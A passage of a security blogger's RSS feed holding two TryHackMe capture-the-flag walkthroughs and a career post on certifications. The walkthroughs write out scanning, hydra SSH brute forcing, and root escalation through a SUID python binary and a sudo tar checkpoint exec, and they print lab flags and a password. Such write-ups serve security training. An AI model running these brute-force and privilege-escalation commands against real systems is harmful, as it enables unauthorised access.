            <content:encoded><![CDATA[<h3>RootMe — TryHackMe CTF</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*PoznIQhCnwdOXFU3NEPSqA.png" /></figure><h3>#1 Deploy the Machine:</h3><p>Let’s start with the very first thing we should do when we start a TryHackMe CTF, deploy the machine. Just click on “Start machine” and than wait for the ip address to appear, that’s it.</p><h3>#2 Reconnaissance:</h3><ol><li>Scan the machine, how many ports are open?</li></ol><pre>nmap -sC -sV -Pn -oN nmap_intial &lt;IP&gt;</pre><p><em>Output:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*dLzxXnGSK0FF7kgDuVJ2cQ.png" /></figure><p>Answer:</p><pre>2</pre><p>2. What version of Apache is running?</p><p>Answer:</p><pre>2.4.29</pre><p>3. What service is running on port 22?</p><p>Answer:</p><pre>SSH</pre><p>4. Find directories on the web server using the GoBuster tool.</p><p>Answer:</p><pre>gobuster dir -u 10.10.167.115 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt</pre><p>5. What is the hidden directory?</p><p>Answer:</p><pre>/panel/</pre><h3>#2 Getting a shell:</h3><p>Find a form to upload and get a reverse shell, and find the flag.</p><pre>find / -type f -name user.txt 2&gt; /dev/null</pre><p>Answer:</p><pre>THM{y0u_g0t_a_sh3ll}</pre><h3>#3 Privilege escalation:</h3><p>Now that we have a shell, let’s escalate our privileges to root.</p><ol><li>Search for files with SUID permission, which file is weird?</li></ol><pre>find / -perm -4000 -type f 2&gt;/dev/null</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*nQEo39Ou6FXJOCZwg9xenQ.png" /></figure><p>Answer:</p><pre>/usr/bin/python</pre><p>2. Find a form to escalate your privileges.</p><p>Spawn Shell:</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Escalate privilages:</p><pre>/usr/bin/python -c &#39;import os; os.setuid(0); os.system(&quot;/bin/sh&quot;)&#39;</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*qI7HVwlwdQ3zoqKiaC8QXg.png" /></figure><p>3. root.</p><pre>cat /root/root.txt</pre><p>Answer:</p><pre>THM{pr1v1l3g3_3sc4l4t10n}</pre><p>Congratulations! You did it!</p><p>Thank you very much for reading this Write-up!</p><p>Let’s connect:</p><p><a href="https://www.linkedin.com/in/weverton-bezerra-da-costa-061ab11a4/">LinkedIn</a> | <a href="https://github.com/wevertonbezzera013">GitHub</a> | <a href="https://x.com/wev_dev">X</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=025621971633" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bounty Hacker — TryHackMe CTF]]></title>
            <link>https://wevsec.medium.com/bounty-hacker-tryhackme-ctf-dd468bf6f6c0?source=rss-253def174ab8------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd468bf6f6c0</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[ftp]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Wev_Sec]]></dc:creator>
            <pubDate>Wed, 09 Apr 2025 00:26:54 GMT</pubDate>
            <atom:updated>2025-04-09T00:26:54.960Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*opQ8ptK0-ZcTVq4A.jpeg" /></figure><h3>Bounty Hacker — TryHackMe CTF</h3><p>Hey folks! This my very first write-up of many to come. I hope that you enjoy my approach.</p><p>This is a simple, yet very fun, case of SSH brute force and privilege escalation.</p><p><a href="https://tryhackme.com/room/cowboyhacker">CTF</a></p><h3><strong>#1 Deploy the Machine:</strong></h3><p>Let’s start with the very first thing we should do when we start a TryHackMe CTF, deploy the machine. Just click on “Start machine” and than wait for the ip address to appear, that’s it.</p><h3>#2 Find open ports on the machine:</h3><p>After that, run nmap to look for open ports on the ip. I ran the following command:</p><pre>nmap -T4 -sC -sV -Pn -oN nmap_intial &lt;IP&gt;</pre><p><em>Output:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*Qo1-zkEH3yF0pzLw2ordXA.png" /></figure><p>I really like this one because it gives me all of the info that I need. Here’s what each flag does:</p><ul><li>T&lt;0–5&gt;: Set timing template (higher is faster)</li><li>-sC: equivalent to — script=default</li><li>-sV: Probe open ports to determine service/version info</li><li>-Pn: Treat all hosts as online — skip host discovery</li></ul><h3>#3 Who wrote the task list?</h3><p>To find that out we can try connecting to the FTP server by running:</p><pre>ftp &lt;IP&gt;</pre><p>It will ask you for a name, you can simply put Anonymous and hit enter.</p><p>Now that we’re in, we can run the command ls to list all of the files.</p><p><em>Output:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*KoLX6VK8NdJUyU0I1TDHYg.png" /></figure><p>As you can see we have two .txt files, let’s download them by typing get &lt;file_name.txt&gt; . Now we can finally see what’s inside of them.</p><p>The task.txt file had this:</p><pre>1.) Protect Vicious.<br>2.) Plan for Red Eye pickup on the moon.<br><br>-lin</pre><p>So the answer for the 3th question is lin .</p><h3>#4 What is the users password?</h3><p>Now we can check the lock.txt file.</p><p>The file had this:</p><pre>rEddrAGON<br>ReDdr4g0nSynd!cat3<br>Dr@gOn$yn9icat3<br>R3DDr46ONSYndIC@Te<br>ReddRA60N<br>R3dDrag0nSynd1c4te<br>dRa6oN5YNDiCATE<br>ReDDR4g0n5ynDIc4te<br>R3Dr4gOn2044<br>RedDr4gonSynd1cat3<br>R3dDRaG0Nsynd1c@T3<br>Synd1c4teDr@g0n<br>reddRAg0N<br>REddRaG0N5yNdIc47e<br>Dra6oN$yndIC@t3<br>4L1mi6H71StHeB357<br>rEDdragOn$ynd1c473<br>DrAgoN5ynD1cATE<br>ReDdrag0n$ynd1cate<br>Dr@gOn$yND1C4Te<br>RedDr@gonSyn9ic47e<br>REd$yNdIc47e<br>dr@goN5YNd1c@73<br>rEDdrAGOnSyNDiCat3<br>r3ddr@g0N<br>ReDSynd1ca7e</pre><p>This file looks like a bunch of passwords put together, with that in mind, the next step should be trying to brute force the SSH server now that we know that lin is a user. To do that we can run the following command:</p><pre>hydra -l lin -P locks.txt -t 6 ssh://&lt;IP&gt;</pre><p><em>Output:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*Cv3kTS0G7x0Iujq9pO7Fhw.png" /></figure><p>The user’s password is: <em>RedDr4gonSynd1cat3</em></p><h3>5# user.txt and root.txt</h3><p>Last, but not least, we can finally connect to the SSH port by running the following command:</p><pre>ssh lin@10.10.49.183</pre><p>And then the password <em>RedDr4gonSynd1cat3.</em></p><p><em>Output:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*voI9-O1_b_RDVoesDSooTg.png" /><figcaption>We’re in!</figcaption></figure><p>Now we can run ls to see what we can find.</p><p><em>Output:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/255/1*TRNqFuvIJBSBNvmB09uNTA.png" /></figure><p>To get the flag simply type cat user.txt .</p><p>Now we need to check our permissions to see how we will escalate our privilege. Just run sudo -l to list our permissions.</p><p><em>Output:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*TaVZnsqSJQN_dZ97hX3KAg.png" /></figure><p>We can see that the file /bin/tar can run with root privileges. So all we need to do is go to <a href="https://gtfobins.github.io/gtfobins/tar/#sudo">GTFO</a> and search for tar and than copy this sudo command:</p><pre>sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh</pre><p>After we paste and hit enter we should be able to have access to the root.</p><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*QfFGLBVS7HKY3v9kr3srxg.png" /></figure><p>Now to find our root.txt file just type locate root.txt and hit enter. It will show you the path /root/root.txt , now you can simply run cat /root/root.txt and get the last flag.</p><p>Congratulations! You did it!</p><p>Thank you very much for reading this Write-up!</p><p>Let’s connect:</p><p><a href="https://www.linkedin.com/in/weverton-bezerra-da-costa-061ab11a4/">LinkedIn</a> | <a href="https://github.com/wevertonbezzera013">GitHub</a> | <a href="https://x.com/wev_dev">X</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd468bf6f6c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Cyber Security certs are a must!]]></title>
            <link>https://wevsec.medium.com/why-cyber-security-certs-are-a-must-e88c68a9cc83?source=rss-253def174ab8------2</link>
            <guid isPermaLink="false">https://medium.com/p/e88c68a9cc83</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[comptia]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[certification]]></category>
            <dc:creator><![CDATA[Wev_Sec]]></dc:creator>
            <pubDate>Mon, 07 Apr 2025 17:17:21 GMT</pubDate>
            <atom:updated>2025-04-07T18:01:13.743Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1kT71DJPHyk9rtAwLRA0VQ.png" /></figure><p>Yes, I understand. You probably might look at an image like that and wonder, “Holy molly, I’m never gonna make it into the cyber security field, look at how many certifications I need.” And you are totally correct — there actually are many certifications you should get at any point of your career, but you shouldn’t put one foot in front of the other. Let me explain what I mean.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QCNK4clFKGnCQ5irhemIzg.png" /><figcaption>Sometimes I want it all too, but we all need to hang on in there for a bit and think logically.</figcaption></figure><h3>How many certifications should I get?</h3><p>If you are starting, probably two (one for cyber security and the other for networking). Why two? Because the foundational tools and concepts for a beginner are what matter the most, especially if you have little to no experience in IT at all. Even though one basic cyber security certification might give you all the info you need to get started, a specific networking certification will give you a bit more advantage on network-related topics (which are a must in the cyber security area). You can, of course, get as many certifications as you wish to do so at any point in your career, but you do need to pay attention to one little thing: the level of your certifications. It isn’t mandatory to get a networking cert, but it will surely help you a lot to stand out from the competition.</p><p>If you are at the very start of your career, it is normal for you to start getting as many beginner-level certificates as you can. But trust me, getting five beginner-level certificates will only tell one thing about yourself — that you are a beginner. It doesn’t mean that you shouldn’t do it, but it does mean that you need to understand that you are doing something that probably won’t give you much more chance of landing a job or evolving in your career.</p><p>Hear me out, this isn’t a promo for CompTIA (even though I would like it to be), but if you get just the Security+, know that this is enough for a beginner in the field. It already tells HR people that you know basic concepts of networking and that you are actually invested in the field. With that in mind, you can start working on your portfolio, CTFs, home labs, and CVs — but that’s a conversation for another time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*Ounhn8N92298QT5SnRnW7A.jpeg" /><figcaption>You need to love the field, otherwise you will get frustrated with all the trial and error.</figcaption></figure><h3>No, I don’t agree that certifications should be all you need!</h3><p>Of course I don’t! I’m not insane. But it is important and you should have it, just because of what I said previously:</p><blockquote>…it already tells HR pleope that you know basic concepts of networking and that you are actually invested into the field.</blockquote><p>You need to get attention to your CV, and having certifications is a standard for this field nowadays. You need to work your way into at least one recognizable certification. It doesn’t need to be that shiny OSCP, CISSP, or any CompTIA cert — you can get a cheap one, like the ISC2 CC, but get at least one! After you do it, you can start studying for more difficult ones. There are multiple paths you can take after you do the very first one, which is starting!</p><p>After you do it, you can start studying for more dificult ones, there are multiple paths you can take after you do the very first one <strong><em>which is starting</em></strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*FUuGMeIYouyoeq_a6TBevA.png" /><figcaption>The path is not what it looks like.</figcaption></figure><h3>Is that all?</h3><p>I am sorry to disappoint you, but yes! There is no Mario Kart rainbow road full of roses and candy. You actually just need to sit down and put as much effort as you can, and memorize all the basic concepts — and not just memorize, explain and apply them.</p><p>This is the loneliest field in all of tech, because only <strong><em>you </em></strong>are the one able to study — not the YouTubers you watch that already got all of the certifications you dream about. Quit just watching others succeed and go for it!</p><p><a href="https://www.youtube.com/watch?v=e5PnuIRnJW8">Nas — The World Is Yours (Official HD Video)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e88c68a9cc83" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>